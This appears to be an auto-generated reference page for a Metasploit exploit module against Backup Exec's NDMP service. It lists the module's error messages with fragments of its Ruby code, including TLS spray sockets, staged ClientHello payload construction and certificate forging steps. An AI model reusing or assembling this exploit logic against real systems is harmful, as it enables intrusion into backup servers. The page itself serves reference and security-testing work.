183:	    ca_cert_id = get_cert_id(ca_cert)
184:	    print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")

Couldn't sign certificate request

Here is a relevant code snippet related to the "Couldn't sign certificate request" error message:

183:	    ca_cert_id = get_cert_id(ca_cert)
184:	    print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")
185:	
186:	    print_status('Getting and handling a certificate signing request...')
187:	    agent_cert = handle_a_csr(s, ca_cert, ca_key)
188:	    fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?
189:	    print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")
190:	
191:	    if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15
192:	      # For certain target types, put the stage 1 spray sockets into SSL mode. We can use
193:	      # the newly made CA certificate and key as our client side certificate

Failed to read TLS handshake response. Are you sure you selected the right target version?

Here is a relevant code snippet related to the "Failed to read TLS handshake response. Are you sure you selected the right target version?" error message:

337:	      end
338:	    end
339:	    s.raw_sendall(stage_tls, 0)
340:	    if target.opts['Version'] == 14
341:	      resp = s.raw_recv(5)
342:	      fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?
343:	      s.raw_recv(resp[3...5].unpack('n')[0])
344:	    end
345:	
346:	    print_status('Closing TLS spray sockets...')
347:	    tls_spray_socks.reverse! unless target.opts['Win8Upwards']

Bad connect result

Here is a relevant code snippet related to the "Bad connect result" error message:

476:	    end
477:	
478:	    if phase.nil? || phase == 3
479:	      msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
480:	      return false unless msg
481:	      fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
482:	    end
483:	
484:	    true
485:	  end
486:

Couldn't connect NDMP socket (phase <PHASE>)

Here is a relevant code snippet related to the "Couldn't connect NDMP socket (phase <PHASE>)" error message:

493:	    end
494:	
495:	    (1..3).each do |phase|
496:	      socks.each do |ss|
497:	        unless connect_ndmp(ss, version, phase)
498:	          fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
499:	        end
500:	      end
501:	    end
502:	
503:	    socks

Failed to perform SSL request/response (opcode <OPCODE>)

Here is a relevant code snippet related to the "Failed to perform SSL request/response (opcode <OPCODE>)" error message:

537:	  # to be empty.
538:	  #
539:	  def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
540:	    resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
541:	    if phase.nil? || phase == 2
542:	      fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
543:	      fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
544:	    end
545:	  end
546:	
547:	  #

Non-empty SSL response (opcode <OPCODE>) result

Here is a relevant code snippet related to the "Non-empty SSL response (opcode <OPCODE>) result" error message:

538:	  #
539:	  def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
540:	    resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
541:	    if phase.nil? || phase == 2
542:	      fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
543:	      fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
544:	    end
545:	  end
546:	
547:	  #
548:	  # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes

No payload

Here is a relevant code snippet related to the "No payload" error message:

617:	
618:	  #
619:	  # Generate a TLS handshake record with the given payload.
620:	  #
621:	  def generate_tls_handshake_record(payload, required_fifth_byte=nil)
622:	    fail_with(Failure::Unknown, 'No payload') if payload.empty?
623:	
624:	    # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
625:	    # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
626:	    # the header, which is the second byte of the length word
627:	    unless required_fifth_byte.nil?

No TLS extension payloads given

Here is a relevant code snippet related to the "No TLS extension payloads given" error message:

634:	  # Generate a TLS ClientHello record with the given Random and extensions (ie. for
635:	  # holding stages 2-4).
636:	  #
637:	  def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
638:	    if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
639:	      fail_with(Failure::Unknown, 'No TLS extension payloads given')
640:	    end
641:	    if ec_formats_extn_payload.length > 0xff
642:	      fail_with(Failure::Unknown, 'Bad EC formats extension length')
643:	    end
644:	    if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff

Bad EC formats extension length

Here is a relevant code snippet related to the "Bad EC formats extension length" error message:

637:	  def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
638:	    if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
639:	      fail_with(Failure::Unknown, 'No TLS extension payloads given')
640:	    end
641:	    if ec_formats_extn_payload.length > 0xff
642:	      fail_with(Failure::Unknown, 'Bad EC formats extension length')
643:	    end
644:	    if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
645:	      fail_with(Failure::Unknown, 'Bad curves extension length')
646:	    end
647:	    if random.length != 0x20

Bad curves extension length

Here is a relevant code snippet related to the "Bad curves extension length" error message:

640:	    end
641:	    if ec_formats_extn_payload.length > 0xff
642:	      fail_with(Failure::Unknown, 'Bad EC formats extension length')
643:	    end
644:	    if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
645:	      fail_with(Failure::Unknown, 'Bad curves extension length')
646:	    end
647:	    if random.length != 0x20
648:	      fail_with(Failure::Unknown, 'Bad random length')
649:	    end
650:

Bad random length

Here is a relevant code snippet related to the "Bad random length" error message:

643:	    end
644:	    if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
645:	      fail_with(Failure::Unknown, 'Bad curves extension length')
646:	    end
647:	    if random.length != 0x20
648:	      fail_with(Failure::Unknown, 'Bad random length')
649:	    end
650:	
651:	    extns = ''
652:	    unless curves_extn_payload.empty?
653:	      extns << [

No payload

Here is a relevant code snippet related to the "No payload" error message:

674:	
675:	  #
676:	  # Generate a TLS ClientHello record in a SSLv2 record with a given payload.
677:	  #
678:	  def generate_tls_in_sslv2_clienthello(payload)
679:	    fail_with(Failure::Unknown, 'No payload') if payload.empty?
680:	    fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
681:	
682:	    r = "\x01\x03" + payload
683:	    [r.length | 0x8000].pack('n') + r
684:	  end

Bad first byte

Here is a relevant code snippet related to the "Bad first byte" error message:

675:	  #
676:	  # Generate a TLS ClientHello record in a SSLv2 record with a given payload.
677:	  #
678:	  def generate_tls_in_sslv2_clienthello(payload)
679:	    fail_with(Failure::Unknown, 'No payload') if payload.empty?
680:	    fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
681:	
682:	    r = "\x01\x03" + payload
683:	    [r.length | 0x8000].pack('n') + r
684:	  end
685:

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Matthew Daley

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.